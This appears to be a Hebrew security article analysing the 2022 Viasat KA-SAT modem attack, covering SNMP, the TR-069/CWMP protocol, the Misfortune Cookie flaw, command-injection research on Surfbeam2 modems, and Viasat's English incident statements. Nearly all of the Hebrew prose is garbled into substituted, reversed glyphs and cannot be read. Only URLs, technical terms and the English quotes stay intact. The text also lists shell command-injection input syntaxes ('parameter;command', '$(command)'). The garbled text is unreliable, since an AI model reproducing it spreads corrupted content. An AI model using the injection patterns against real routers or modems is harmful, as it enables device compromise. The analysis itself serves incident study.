 :˞ˬˠˣˡ˪ .˫˧˶˷˲˞ˬ ˣ˪˞ ˫˧˟˧˯˷TAT-8  ˪˷ ˸˪ˣ˟˧˵ ˵˲˯ˬ280Mbit/s ˩ ˪˧˟˵ˬ)-40,000 ˣ ,(˭ˣ˲˪˦ ˸ˣ˥˧˷-

14-TAT  ˪˷ ˸˪ˣ˟˧˵ ˪˰˟Tbit/sоΦнΦ 

˯ˮ˞˶˦ˢ ˫˧˟˧˯ˢ ˸˯˧˶˲ ˪˷ ˢˬˠˬˢ- ˢ˶˴˰ ˫˧˧˦˲ˣ˞ ˫˧˟˧˯ ˸˯˯ˣ˟ˬ ˸˶ˣ˷˵˸˪ ˶˟˰ˬˢ ˪˪˩˟ˣ ,˫˧˧˦ˮ˧˪˦˞

 ˪˰ ˸ˣ˯˯˟˸ˢˢ ˸˞ ˭˧˦ˣ˪˥˪ ˦˰ˬ˩ ˪˷ ˦˪˥ˣˬˢ ˟˶ˢ ˫ˣ˧˩ˣ ,˸˶ˣ˷˵˸˪ ˧ˤ˩˶ˬ ˨˟ˡˮ˩ ˸˶ˣ˷˵˸ˢ ˧ˮ˧ˣˣ˪

.ˣˤ ˢ˧ˠˣ˪ˣˮ˩˦ ˪˰ ˸˯˯˟˸ˬ ˦ˮ˶˦ˮ˧˞ˢˣ ˭ˣ˲˪˦ˢ ˸˶ˣ˷˵˸ 

 ˡ˟˪ˬ ˨˞ ,˫˧˥˶ˤ˞ ˱˞ˣ ˫˧˧˸˧˧˷˰˸ ,˫˧˧˸ˮ˧ˡˬ ,˫˧˧˞˟˴ ˧˷ˣˬ˧˷ ˸˟ˣ˦˪ ˫˧˶ˠˣ˷ˬ ˭˧˧ˡ˰ ˸˶ˣ˷˵˸ ˧ˮ˧ˣˣ˪

˧˸˷˸ ˧˪˰˟ ˫˧˶ˣˤ˧˞ ,˫˧ ˟˪˟ ˭ˣˠ˩) ˡˣ˞ˬ ˫˧˵˥ˣ˶ˬ ˣ˞ ˫˧˵˸ˣˮˬ ˸ˣˬˣ˵ˬ˟ ˣˤ ˸˶ˣ˷˵˸ ('ˣ˩ˣ ˸ˣ˰ˣ˰˶ ˸ˣ

.ˡ˟˪˟ ˧ˣ˟˧ˠ˩ ˸˷ˬ˷ˬ 

SAT-KA  ˸˶˟˥ ˪˷AirBus  ˪˷ ˸˶ˣ˷˵˸ˢ ˧˲ˣ˯ˬ ˸˞ ˸˶˷ˬˢ ˭˧ˣˣ˪ˢ ˞ˣˢViaSat  ˶ˣ˵ˬ˟ ˢˮ˟ˮ ˞ˣˢ .ˣ˴˶˲ˮ˷

 ˧"˰Astrium˟˥ ," ˪˷ ˸˟ ˸˶˸˧˲ˣ˶˧˞ˢ ˪˪˥ˢˣ ˢ˲ˣ˰˸ˢ ˸˧˧˷˰˸ˢ) "-EADS ˸˞ ˢ˷˩˶˷ (Airbus 

˟ ˸˧˸˲˶˴ˢ-2006 ˟x-2017  ˫ˠˡˢ ˪˰ ˣ˟ˣ˶˟ ˯˯ˣ˟ˬ ˞ˣˢ .ˢˬ˷ ˸˞ ˢ˴ˬ˧˞ ˫ˠEurostar E3000  ˶ˠˣ˷ˣ

 ˱ˣ˯˟ ˪˪˥˪2010 ˧˶ˡ˸˟ ˷ˣˬ˧˷ˢ ˪˷˟ ˭˧ˣˣ˪ˢ ˪˟˧˵ ,ˣˬ˷ ˸˞ .aKΦ 

https://en.wikipedia.org/wiki/Marisat_1
https://en.wikipedia.org/wiki/L_band
https://en.wikipedia.org/wiki/Ultra_high_frequency
https://space.skyrocket.de/doc_sdat/marecs.htm
https://en.wikipedia.org/wiki/TAT-8
https://en.wikipedia.org/wiki/Transatlantic_communications_cable
https://en.wikipedia.org/wiki/TAT-14
https://en.wikipedia.org/wiki/TAT-14
https://en.wikipedia.org/wiki/KA-SAT
https://en.wikipedia.org/wiki/Astrium
https://en.wikipedia.org/wiki/Eurostar_E3000
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?ˢ˰˴ˣ˟ ˢ˲˧˵˸ˢ ˨˧˞ 

 ˣ˸ˣ˞ ˡ˴˧˩ ˦˶˲˟ˣ ,ˢ˲˧˵˸ˢ ˢ˰˴ˣ˟ ˡ˴˧˩ ˞˧ˢ ˸ˣˮ˧˧ˮ˰ˬˢ ˸ˣ˪˞˷ˢ ˸˥˞Payload ˢ ˰ˣ˴˧˟˪-Wipe  ˸˞ ˢ˷˰

 ˨˞ ,˧˰ˬ˷ˬ ˡ˥ ˭˲ˣ˞˟ ˢˠ˷ˣˢ ˞˪ ˸˞ˤˢ ˢ˪˞˷˪ ˢ˟ˣ˷˸ .ˢ˷˧˪˲ˢ ˭ˬˤ ˪˞ ˵ˣ˧ˡ˟ ˫˧˲ˣ˯ˬˢ ˫˸ˣ˞ ˪˞ ˣ˩˶ˡ

 ˰˴˧˟˷ ˶˵˥ˬˢˬSantamarta  ˞ˣˢ ˶˸ˣ˧˟ ˫˧˶˧˟˯ˢ ˫˧ˮˣˣ˧˩ˢ ˡ˥˞ ˧˩ ˢ˞˶ˮˢ ˸˶˷ ˸˲˧˵˸-TR-069 

.ˢ˴˵ˢ ˧˟˧˩˶ ˪˰ ˸ˣ˦˪˸˷ˢ ˰ˣ˴˧˟ ˣ˩˶ˡˣ ˫˧˲ˣ˯ˬˢ ˫˸ˣ˞ ˸˞ ˪ˢˮˬ˷ 

 

SNMP 

 ˪˷ ˶˵˥ˬˢˬ ˢ˪˰˷ ˱˯ˣˮ ˢ˶˧ˡ˥ ˭ˣˣ˧˩ ,˨˞ ,˞˷ˣˮ ˧ˡˬ ˵˧ˬ˰ˮ ˞˪Santamarta  ˨˶ˡ ˣˮ˧ˢ (˪˦ˣ˟ ˭˩ˬ ˶˥˞˪ˣ)

ˢ ˸ˣ˶˧˷-SNMP  ˫˧˲ˣ˯ˬ˟ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˷ˣˬ˧ˬˢ ˧˩ ˢ˧ˢ ˞˶ˮ ˰˴˧˟˷ ˶˵˥ˬˢˬ ˨˞ ,ˣ˪˞ ˫˧˲ˣ˯ˬ˟ ˨ˬ˸ˮ˷

ˢ ˸ˮ˵˸ˢ ˸˞ ˣ˶˷˲˞˧˷ ˸ˣˡˣ˵˲˟ ˨ˬˣ˸ ˣˮ˧˞ ˣ˪˞-Payload:ˢ˴˪ˣ˥˷ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˣˤ . 

 

 :˶ˣ˵ˬ]to.html-speculation-from-incident-https://www.reversemode.com/2022/03/viasat[ 

ˢ ˣ˪˞ˣ-MIB-ˢ ˧"˰ ˣ˷ˬˣˬ˷ ˫˧-Client  ˳˟ˣ˵ˢ)vsatSb2Ut.so:( 

 

 :˶ˣ˵ˬ]to.html-speculation-from-incident-ode.com/2022/03/viasathttps://www.reversem[ 

 ˪ˣ˵ˣ˦ˣ˶˲˟SNMPˢ ˭ˢ ˭˧˞ˣ ˸˶˷ˢ ˪˰ ˭ˢ ˫˧˶ˣˬ˷ ˸ˣˢˡˤˢˢ ˧˦˶˲ ,-Client  ˸ˣ˶˟ˣ˰ ˱˞ ˸ˣ˴ˣ˲ˮˢ ˸ˣ˞˯˶ˠ˟ˣ

 .˸˷˶˟ ˧ˣ˪ˠ ˭˲ˣ˞˟Read-Write User  ˭˩˞ˣ ˢˡ˧ˬ˟˷ ˨˩ ˶˸ˣ˧˟ ˸ˣˢˣ˟ˠˢ ˸ˣ˞˷˶ˢˢ ˪˰˟ ˷ˬ˸˷ˬˢ ˣˮ˧ˢ

˪ ˸˶˷˲˞ˬ˷ ˢˡˣ˵˲ ˢ˸˧˧ˢ ˵ˣ˥˶ˬ ˢˡˣ˵˲ ˳˧˶ˢ- .ˢ˟ ˷ˬ˸˷ˢ˪ ˱˵ˣ˸˪ ˡˣ˞ˬ ˥ˣˮ ˢ˧ˢ 

https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
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 ˪˰ ˭˧ˤ˞ˬ ˟˧˩˶ˢ˷ ˢˡ˟ˣ˰ˢ ˭˸ˮ˧ˢ˟Socket UDP  ˣ˸ˣ˞ ˫ˠ ˶ˣ˵˥˪ ˞˪ ˢ˟˧˯ ˫ˣ˷ ˭˧˞ ,˸˷˶ˢˬ ˷˧ˠˮ˷

 ˸˧ˠˣ˪ ˢ˧˴˵ˮˣ˲ ˭˧˞ ˫˞ ˫ˠ ,˫˧˲ˣ˯ˬˢ ˪˰ ˡˣ˵ ˸˴˶ˢ ˶˷˲˞˸˷ ˨˩ ˢ˷˪ˣ˥ ˣ˟ ˪˴ˮ˪ ˢ˧ˢ ˭˸˧ˮ ˫˞ˢ ˸ˣ˞˶˪ˣ

˷ ˞˧ˢ ˧˸˩˶˰ˢ .˭ˣˣ˩ˬ ˭˲ˣ˞˟ ˸˞ˤ ˶˷˲˞˸˷- Santamarta ˥˧ˮˢ ˦ˣ˷˲ ˣ˞ ˪"ˮˢ ˭ˣˣ˧˩ˢ ˪˰ ˟˷˥ ˞˪ ˣ˞

ˢ ˫˰ ˭ˣˣ˧˩ˢ˷-TR-069 .˷ˣˬ˧ˬ˪ ˶˸ˣ˧ ˦ˣ˷˲  ˞ˣ˶˵˪ ˭˸˧ˮ ,ˢ˰˶˪ ˣ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ˣ ˪ˣ˵ˣ˦ˣ˶˲˪ ˰ˠˣˮ˟ ˢ˟˥˶ˢ˪

:˞˷ˣˮ˟ ˧˸˟˸˩˷ ˶ˬ˞ˬ 

https://www.digitalwhisper.co.il/files/Zines/0x28/DW40-1-AttackingSNMP.pdf 

 

 ˢˤ ˢˬ ˤ˞TR-069? 

069-TR ˟ ˠ˴ˣˢ˷ ˡˡˣ˟ ˸˶˷ ˨˶ˡ ˢ˴˵ ˧˟˧˩˶ ˪ˣˢ˧ˮ˪ ˪ˣ˵ˣ˦ˣ˶˲ ˣˮ˧ˢ-2004 ˸ˣ˴ˣ˲ˮˢ ˸ˣ˞ˬˠˣˡˢ ˸˥˞ .

˪˰ ˵˲ˣ˯ˬˢ ˸˶ˣ˷˵˸ˢ ˡˣ˧˴ ˸˞ ˸ˣ˪ˢˮˬ ˸˶ˣ˷˵˸ ˸ˣ˧˵˲˯ ˢ˟ ˨˶ˡˢ ˞˧ˢ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲˟ ˷ˣˬ˧˷˪- ˭ˢ˧ˡ˧

 ˫˞ ˤ˞) ˭ˢ˧˸ˣ˥ˣ˵˪ ˪˷ ˫ˢ˧˸˟˟ ˫˩˪˷ ˸˧˵˲˯ˢ ˧"˰ ˵˲ˣ˯ ˦ˮ˶˦ˮ˧˞˪ ˫˧˶˟ˣ˥ˬ ˫˸˞ ˣ˩˶ˡ ˸˷˶ˢ ˡˣ˧˴- 

.(ˢˤˢ ˪ˣ˵ˣ˦ˣ˶˲˟ ˫˧˷ˬ˸˷ˬ ˫˸˞ ˫ˠ ˢ˞˶ˮˢ ˪˩˩ 

:ˣˬ˩ ˫˧˶˵ˬ˟ ˢ˪ ˶ˤˣ˰ ˪"ˮˢ ,˟˸ˮˢ ˪˰ ˢ˞˪ˬ ˢ˦˧˪˷ ˪˟˵˪ ˸˧˵˲˯˪ ˶˷˲˞ˬ ˪ˣ˵ˣ˦ˣ˶˲ˢ 

¶ (ˢ˵˲˧˯ ˸˧ˮ˶˴˧ˢ˷ ˰ˡ˧ˬ ˸˥˦˟˞ ˧ˮˣ˩ˡ˰ ˪˷ˬ˪) ˵ˣ˥˶ˬ ˟˧˩˶˪ ˢ˥˷ˣ˵ ˣ˞ ˢˮ˩ˣ˸ ˭ˣ˩ˡ˰ ˰ˣ˴˧˟ 

¶  ˵ˣ˥˶ˬ ˸˧ˮ˩˦ ˢ˩˧ˬ˸-  ˨ˬˣ˸ˢ ˢˬ˴˰ ˸˧˵˲˯˪ ˶ˣ˟˧˥˟ ˢ˪˵˸˟ ˶˟ˣˡˬ ˞˪ˣ ˢˡ˧ˬ˟ ,ˢ˪˵˸ ˪˷ ˢ˶˵ˬ˪

.ˢ˪˵˸ˢ ˭ˣ˵˧˸ ˸˟ˣ˦˪ ˸ˣˮˣ˷ ˸ˣ˶ˡˠˢ ˣ˟ ˭˩ˡ˰˪ ˱˞ˣ ˟˧˩˶ˢ ˸˞ ˪˞˷˸˪ ˪˩ˣ˧ ˧ˮ˩˦ˢ 

¶ ˢ ˸˶˷ ˭ˣ˩ˡ˰) ˫˧˧˪˪˩ ˫˧˶˦ˬ˶˲ ˭ˣ˩ˡ˰-DNS  ˪ˣ˵ˣ˦ˣ˶˲˪ ˳ˣ˥ˬ ˫ˠDHCP x˞  ˰ˣ˴˧˟Restart  ˧ˡ˩ ˟˧˩˶˪

ˣˮ ˸ˣ˶ˡˠˢ ˪˧˥ˢ˪(˸ˣ˲˯ 

 ˪˰ ˯˯˟˸ˬ ˪ˣ˵ˣ˦ˣ˶˲ˢClient  ˫ˠ ˢˮˣ˩ˬ) ˪ˢˮ˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣ˸ˣ˞ ˟˧˩˶ˢ ˪˰ ˳˶˷CPE ˪˷ ˶ˣ˴˧˵ ,Customer-

Premises Equipment ˣ˸ˣ˞ ˶ˠ˶˦ˬ ˸˶˷ˢ ˶˷˞˩ ˣ˞ ˰ˣ˟˵ ˭ˬˤ ˵˶˲˟ ˫˰˲ ˸˶˷˪ ˶˟˥˸ˢ˪ ˠ˲ˮˣ˵ˬˣ (

" ˸ˮˣ˩ˬˢ ˢ˷˵˟) ˟ˣ˸˧ˮ ˸ˮ˧˥˟ˬ ˶˷˲˞˸ˬ ˢˤˣ ˢˡ˧ˬ˟ ˣ˧˪˞ ˶˟˥˸ˢ˪Connection Request(" ˰˟ˣˮ ˪"ˮˢ ,

 ˧˶ˣ˥˞ˬ ˫˧˞˴ˬˮ ˣ˪˞ ˫˧˟˧˩˶ ˫˧˶˵ˬ ˢ˟˶ˢ˟ ˧˩NAT  ˸˶˷ˢ .˫ˢ˧˪˞ ˟ˣ˸˧ˮ ˭˧˞ ˫˸ˣ˞ ˪ˢˮˬˢ ˸˶˷˪ ˭˩˪ˣ

 ˢˮˣ˩ˬ ˧ˤ˩˶ˬˢACS  ˶ˣ˴˧˵)Configuration Servers-Auto.( 

-˪069-TR  ˫˷˟ ˢ˟˥˶ˢ ˷˧111-TR ˧˸˶˷ ˸ˣ˰˴ˬ˞˟ ˸˶˷˲˞ˬ˷ ,STUN x-UDP NAT Traversal  ˭˩ ˸˶˷˪

ˢ ˪ˣˬ ˸˶ˣ˷˵˸ ˫ˣˤ˧˪-CPE  ˧˶ˣ˥˞ˬ ˞ˣˢ ˶˷˞˩ ˫ˠNAT. 

ˢ ˭˧˟ ˸˶ˣ˷˵˸ˢ ˪ˣ˵ˣ˦ˣ˶˲-CPE ˪-ACS  ˢˮˣ˩ˬCPE WAN Management Protocol  :ˢ˶˴˵˟ ˣ˞)CWMP ,(

 ˪ˣ˵ˣ˦ˣ˶˲˟ ˶˟ˣˡˬˣSOAP- ˪˰ ˯˯ˣ˟ˬˢ ˧HTTP  ˣ˞HTTPS ˭˪ˢ˪ .˞˷ˣˮ˟ ˸ˠ˴ˬ ˶˟˥˸ˢ˪ ˸ˮˬ ˪˰ .ˢ˟˥˶ˢ˪ ,

ˢ ˪˰ ,˸˶˷˪-Client ˧˦˶˲ ˠ˧˴ˢ˪ ˩ ˸ˣ˧ˢ˪ ˪ˣ˩˧) ˸ˣˢˡˤˢ-Certificateˢˬ ˵˪˥˩ ˢˬ˯˧˯ˣ ˷ˬ˸˷ˬ ˫˷ ,-

SOAP  ˣ˞Basic Authentication ˢ ˸˟˩˷ ˸ˣ˰˴ˬ˞˟-HTTPˢ ˸˶˷ ˶˷˞˩ˣ ,-ACS ˢ ˪ˣˬ ˸ˬ˞˸ˢ˪ ˭˧˧ˮˣ˰ˬ-

CPE  ˣ˞) ˸ˣˢˡˤˢ ˧˦˶˲ ˸ˣ˰˴ˬ˞˟ ˸˞ˤ ˰˴˟ˬ ˞ˣˢCertificate.˪ˣ˵ˣ˦ˣ˶˲ˢ ˧˟ˠ ˪˰ˬ ( 

https://www.digitalwhisper.co.il/files/Zines/0x28/DW40-1-AttackingSNMP.pdf
https://en.wikipedia.org/wiki/TR-069
https://en.wikipedia.org/wiki/TR-069
https://community.polycom.com/polycom/attachments/polycom/VoIP/25582/1/TR-111.pdf
https://www.slideshare.net/wiliwe/more-detail-about-tr069-cpe-wan-management-protocol
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-˟2014 ˣ˩˪ (ˣ˸ˬ˷˞˟ ˞˪˷) ˪ˣ˵ˣ˦ˣ˶˲ˢ ˢ˩ˤ ˢ˷˪ˣ˥ˢ ˪˷˟ ˸ˣ˟˶ ˸ˣ˶˸Misfortune Cookie -  ˢ˷˪ˣ˥

ˢ ˧˸˶˷ˬ ˡ˥˞˟ ˢ˸˪ˠ˸ˢ˷-HTTP  ˸˧˸˷˸ˢ ˸˶˷˩ ˣ˴ˬ˧˞ ˫˧˧˸˧˟ ˫˧˟˸ˮ ˸ˣ˧ˮ˶˴˧ ˶˷˞ ˫˧˴ˣ˲ˮˢ

ˢ˷ ˢ˶˵ˬ˪ ˪ˣ˵ˣ˦ˣ˶˲˪-ACS ˢ ˪ˣˬ ˸ˬ˞˸ˢ˪ ˢ˴˶˧-CPE ˫˷˟ ˸˶˷˟ ˶˟ˣˡˬ ,˸˧˲˧˴˲˯ .RomPager 

 ˞˯˶ˠ˟ ˢ˸˪ˠ˸ˢ ˢ˷˪ˣ˥ˢˣ4.07 ˟ ˫˧ˡ˟ˣ˰ˢ ˫˧˪˞˶˷˧ ˸ˣ˷˪ˣ˥ ˧˶˵ˣ˥ ˧"˰) ˣ˪˷-CheckPoint  ˱˞ˣ ˣˮˬ˯˶˲

˭˧ˤˠˬ˟ ˶ˬ˞ˬ ˢ˧˪˰ ˫˧˸ˣ˶˧˷ˢ ˡ˥˞ˣ ˢˤ ˸˶˷˪ ˶˸ˣ˧˟ ˢ˴ˣ˲ˮˢ ˢ˯˶˧ˠˢ ˢ˸˧˧ˢ ˢ˲ˣ˵˸ ˢ˸ˣ˞˟˷ ,( ˫˧˴ˣ˲ˮˢ

 .˦ˮ˶˦ˮ˧˞˟ ˫˧˥ˣ˸˲ˢ ˶˸ˣ˧˟ 

ˢ ˧˟˧˩˶-Surfbeam2 ˢ ˥ˣ˵˪ ˫˰ ˫˧˰˧ˠˬ-069-TR   ˫˷˟AXACT  ˸˶˟˥ ˪˷AXIROS  ˫˧˞˴ˬˬˢˬˣ ,˸˧ˮˬ˶ˠˢ

-˷Santamarta  ˡˣ˵ˢ ˸ˬ˶ ˧˩ ˢ˪ˣ˰ ,ˠ˧˴ˢ˪˧˪˰˟ ˢ˶˧˟˯ ˞˪ ˩˟ ˟˷˥˸ˢ˟ ˶ˣˬ˞˷ ˪ˣ˵ˣ˦ˣ˶˲˟ ˶˟ˣˡˬ˷ ˨

 .˸˶˵ˣ˟ˬ ˢ˶ˣ˴˟ ˟˧˩˶ˢ ˸˞ ˪ˢˮ˪ ˧ˮˣ˴˧˥ ˫˶ˣˠ˪ ˶˷˲˞˪Santamarta ˢ ˸˞ ˶˵˥-Client  ˢ˞˶ˣ ˪"ˮˢ

.˭˦˵ ˞˪ ˵ˡ˶˟˟ ˶˟ˣˡˬ˷ 

:ˢˤ ˸ˣ˶˧˷ ˨˶ˡ ˢ˲˵˸ˬˢ ˸˞ ˰˴˟˪ ˢ˧ˢ ˭˸˧ˮ ˫˩˶ˡ˷ ˫˧ˮ˧˧ˮ˰ˬ ˫˧ˮˣˣ˧˩ ˢ˷ˣ˪˷ ˠ˧˴ˢ ˞ˣˢ 

¶  ˸ˣ˷˪ˣ˥ ˧˸˷Command Injection ˢ ˪˰ ˫˧˴˶ ˶˷˞ ˫˧ˮˣ˷ ˫˧˟˧˩˶ ˧ˮ˷˟ ˸ˣ˧˪˞˧˴ˮ˦ˣ˲-CPE  ˫˧ˮ˧ˤ˞ˬˣ

 ˪˷ ˧˶˞ˮ˧˟˟ ,ˢˮˣ˷˞˶ˢ .˸˧ˮˣ˴˧˥ ˸˶ˣ˷˵˸˪cwmpclient :ˣˬ˴˰ 

 

 :˶ˣ˵ˬ]to.html-speculation-from-incident-https://www.reversemode.com/2022/03/viasat[ 

˪ ˢ˞˧˶˵ˢ ˸˞ ˸ˣ˞˶˪ ˶˷˲˞ ˡˣ˵ˢ ˰˦˵ ˱ˣ˯ ˸˞˶˵˪-system ˬ ˧˶˞ˮ˧˟ ˸˴˶ˢ ˸˟ˣ˦˪-/usr/bin  ˫˰

.˭˩ ˧ˮ˲˪ ˫ˢ˪˷ ˢ˧˴˦˧ˮ˯ ˞˪˪ ˷ˬ˸˷ˬˢ ˧"˰ ˫˧˦˪˷ˮˢ ˫˧˶˦ˬ˶˲ 

  

Misfortune%20Cookie
https://www.digitalwhisper.co.il/files/Zines/0x3A/DW58-1-MisCookie.pdf
https://www.digitalwhisper.co.il/files/Zines/0x3A/DW58-1-MisCookie.pdf
https://www.digitalwhisper.co.il/files/Zines/0x3A/DW58-1-MisCookie.pdf
https://www.axiros.com/products/axact-embedded-connectivity
https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
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 ˪˷ ˧˯˞˪˵ ˢ˶˵ˬ ˞ˣˢ ˪"ˮˢCommand Injection ˰ ˸ˡˣ˵˲ ˶ˣ˷˶˷ˣ ˶ˬˠˮ˷ ˶˦ˬ˶˲ ˸˯ˮ˩ˢ ˧"Shell 

:˭ˣˠ˩ ˫˧˵˧˶˦ ˸ˣ˰˴ˬ˞˟ ˣ˧˶˥˞˪ ˸˲˯ˣˮ 

¶ "parameter;command" 

¶ "parameter ̀command"̀ 

¶ "parameter $(command)" 

 ˫˷˟ ˧˶˞ˮ˧˟˟ ˢ˧ˮ˷ˢˣ/usr/bin/bbagent  ˦˶ˣ˲ ˪˰ ˭˧ˤ˞ˬ˷8700 :˶˷˲ˣ˞ˬ ˞ˣˢ˷˩ 

 

 :˶ˣ˵ˬ]to.html-speculation-from-incident-https://www.reversemode.com/2022/03/viasat[ 

:˞˷ˣˮ˟ ˢ˟˥˶ˢ˪ 

https://book.hacktricks.xyz/pentesting-web/command-injection 

¶ ˢ˷-Client " ˫˷˟ ˢ˧˴˵ˮˣ˲˟ ˨ˬˣ˸APP INSTALL ˸˶˷ˢ ˪˰˟˪ ˸˶˷˲˞ˬˣ ˢˤ ˸˶˷˟ ˸˩ˬ˸ˮˢ "

ˢ ˟˧˩˶ ˪˞ ˧˶˞ˮ˧˟ ˸ˣ˪˰ˢ˪-CPE  ˞˪˪ ˣˤ ˢ˧˴˵ˮˣ˲˪ ˫ˢ˪˷ ˷ˣˬ˧ˬˢ˷ ˢ˞˶ˮ ˡˣ˵ˢˬ .ˣ˴˧˶ˢ˪ ˭˩ˬ ˶˥˞˪ˣ

:˸˧˲˶ˠˣ˦˲˧˶˵ ˢ˵˧ˡ˟ ˫ˣ˷ 

 
 :˶ˣ˵ˬ]to.html-speculation-from-incident-https://www.reversemode.com/2022/03/viasat[ 

https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
https://book.hacktricks.xyz/pentesting-web/command-injection
https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
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¶ ˢ˷-Client  ˸ˮ˵˸ˢ˟ ˭ˢ ˨ˬˣ˸Firmware ˢ ˸˶˷ˬ ˷ˠˣˬ˷ ˷ˡ˥-ACS  ˨˩ ˸ˣˮˣ˷ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ ˸ˣˬ˧˧˵ˣ

ˢ ˸˞ ˞ˡˣˣ˧ ˞˪ ˞ˣˢ˷-Firmware ˢ ˸˶˷ ˪˰ ˦˪˸˷ˢ˷ ˧ˬ ˪˩˪ ˶˷˲˞ˬ˷ ˢˬ) ˧˲˶ˠˣ˦˲˧˶˵ ˭˲ˣ˞˟-ACS 

 ˷˧ˠˢ˪Firmware ˷ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˢ˸˧˧ˢ ˢˬ ˭˧˧˴ ˞˪ ˞ˣˢ ,(ˣ˪˷ˬ-ViaSat :ˢ˟ ˣ˷ˬ˸˷ˢ 

 
 :˶ˣ˵ˬ]to.html-speculation-from-incident-https://www.reversemode.com/2022/03/viasat[ 

 
 ˫˸ˣ˞ ˪˰ ˵ˣ˥˶ˬ ˡˣ˵ ˳˧˶ˢ˪ ˫˧˩˶ˡ ˪˷ ˦˰ˣˬ ˞˪ ˶˲˯ˬ ˡˣ˰ ˷˧ ˢ˞˶ˮ˩˷ ˥˧ˮˢ˪ ˶˷˲˞ ˡˣ˵ˢ ˸ˬ˶ ˧˲˪

ˬˢˢ ˸˲˪˥ˢ ˫˞ ˢˮ˷ˬ ˨˩ ˪˩ ˞˪ ˢˤ ˨˞ ,˫˧˲ˣ˯-Firmware  ˸˥˞˟ ˶˧˷˧ ˷ˣˬ˧˷ ˸ˣ˰˴ˬ˞˟ ˢ˰˴ˣ˟

ˢ ˟ˣ˸˩˷ ˸ˣ˰˴ˬ˞˟ ,˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˧˴˵ˮˣ˲ˢ-NVRAM ˢ ˸˰˟ ˭˰˦ˮ ˞ˣˢ ˭ˢˬ˷ ˸ˣ˴˧˥ˬˢ ˸˥˞ ˣ˞-boot ,

 ˣ˶˷˲˞˷ ˡˣ˵ˢ ˧˪˷˩ˬ ˡ˥˞ ˪ˣ˴˧ˮ ˧ˡ˩ ˨ˣ˸ ˵ˣ˥˶ˬ ˢ˴˧˶ ˶˥˞˪ ˰˴ˣ˟ ˢˤ ˫˞ˢˣCommand Injection ˨˶ˡ˟ .

 ˪˪˩.˭˧˧ˡ ˸ˣ˵ˤ˥ˣ˸ˬ ˭ˮ˧˞˷ ˡˣ˞ˬ ˸ˣˮ˷˧ ˡˣ˵ ˸ˣ˧˸˷˸˟ ˫˧˷ˬ˸˷ˬ ˢ˪˞˩ ˫˧˟˧˩˶ 

 ˸˶˟˥ ˧ˡ˧ ˪˰ ˫˯˶ˣ˲˷ ˦˯ˣ˲˟ViaSat :˧˩ ˫˯˶ˣ˲ 

Subsequent investigation and forensic analysis identified a ground-based network intrusion by an attacker 

exploiting a misconfiguration in a VPN appliance to gain remote access to the trusted management 

segment of the KA-SAT network. The attacker moved laterally through this trusted management network 

to a specific network segment used to manage and operate the network, and then used this network 

access to execute legitimate, targeted management commands on a large number of residential modems 

simultaneously. Specifically, these destructive commands overwrote key data in flash memory on the 

modems, rendering the modems unable to access the network, but not permanently unusable. 

ˢ ˸˶˷ ,˫ˢ˧˶˟ˡ˪-VPN  ˦ˮˬˠ˯ ˣ˲˵˸ ,˪ˣˢ˧ˮˢ ˦ˮˬˠ˯˪ ˫˧˲˵ˣ˸ˢ ˣ˶ˡ˥ ˣ˩˶ˡ ,ˢ˩˪ˢ˩ ˠ˲ˮˣ˵ ˞˪ ˫ˢ˪˷

 .˫˸ˬ˧˷ˬ ˸˞ ˷ˬˬ˪ ˧ˡ˩ ˸ˣ˧ˬ˧˦˧ˠ˪ ˸ˣˡˣ˵˲ ˳˧˶ˢ˪ ˧ˡ˩ ˣ˧˸ˣ˞˷˶ˢ ˸˞ ˣ˪˴˧ˮˣ ˧˲˧˴˲˯ ("˟˧˩˶" ˢ˞˶ˮˢ ˪˩˩)

ˢ ˸˶˷ ˨˶ˡ ˢ˰˴ˣ˟ ˭˩˞ ˢ˲˧˵˸ˢ˷ ˨˩˪ ˸˧˸˰ˬ˷ˬ ˡ˥ ˢ˥˩ˣˢ ˞˪ ˸˞ˤ-ACS ...˨˩ ˥˧˶ˬ ˦˪˥ˢ˟ ˢˤ ˪˟˞ ,

https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
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˧˯ˣ˶ˢ ˶˷˵ˢ 

-˟30/03˩ ,-оп  ˸˶˟˥ ,˶˟ˣˡˬˢ ˰ˣ˶˧˞ˢ ˧˶˥˞ ˫˧ˬ˧ViaSat ˢ˶˸˞˟ ˦˯ˣ˲ ˢ˸˪˰ˢ  ˶ˣ˞ ˨˲ˣ˷ˢ ˰ˡ˧ˬ ˫˰

˰˴˧˟ ˞˧ˢ˷ ˢ˶˧˵˥ˬ ˧˩ ˢ˟˸˩ ˞˧ˢ ˦˯ˣ˲˟ .ˢ˲˵˸ˬˢ ˪˰ ˫˧˧ˮ˩˦ ˫˧˦˶˲ ˶˸ˣ˧ ˦˰ˬ ˢ˪ˠˬˣ ˸ˣˡˬ˰ˢ ˪˰ ˢ

 ˸˲˵˸ˬ˪ ˸ˣ˟˵˰ ˫ˣ˷ ˣˢˣˤ ˞˪ˣ ˸˧ˤ˧˲ ˢˮ˧˥˟ˬ ˫˧˧˸˶ˬˣ˥ ˫˧˟˧˩˶ ˪˰ ˢˠ˧˶˥ ˫ˣ˷ ˢ˸ˢˣˤ ˞˪" ˣ˲˵˸ˮ˷

Supply-Chain ˸ˣ˰˴ˬ˞˟ ˫ˡˣˬˢ ˪˷ ˞˪ˬ ˶ˣˤ˥˷ ˰˴˟˪ ˭˸˧ˮ ˢ˷˰ˬ˪ˣ ,Factory-Reset:" 

Viasat has conducted an exhaustive analysis of impacted modems and confirmed no anomalies or impacts 

to any electrical components, no impact or compromise of any modem physical or electronic components, 

no evidence of any compromise or tampering with Viasat modem software or firmware images and no 

evidence of any supply-chain interference. The modems can be fully restored via a factory reset. To date, 

Viasat has no evidence that standard modem software or firmware distribution or update processes 

involved in normal network operations were used or compromised in the attack. 

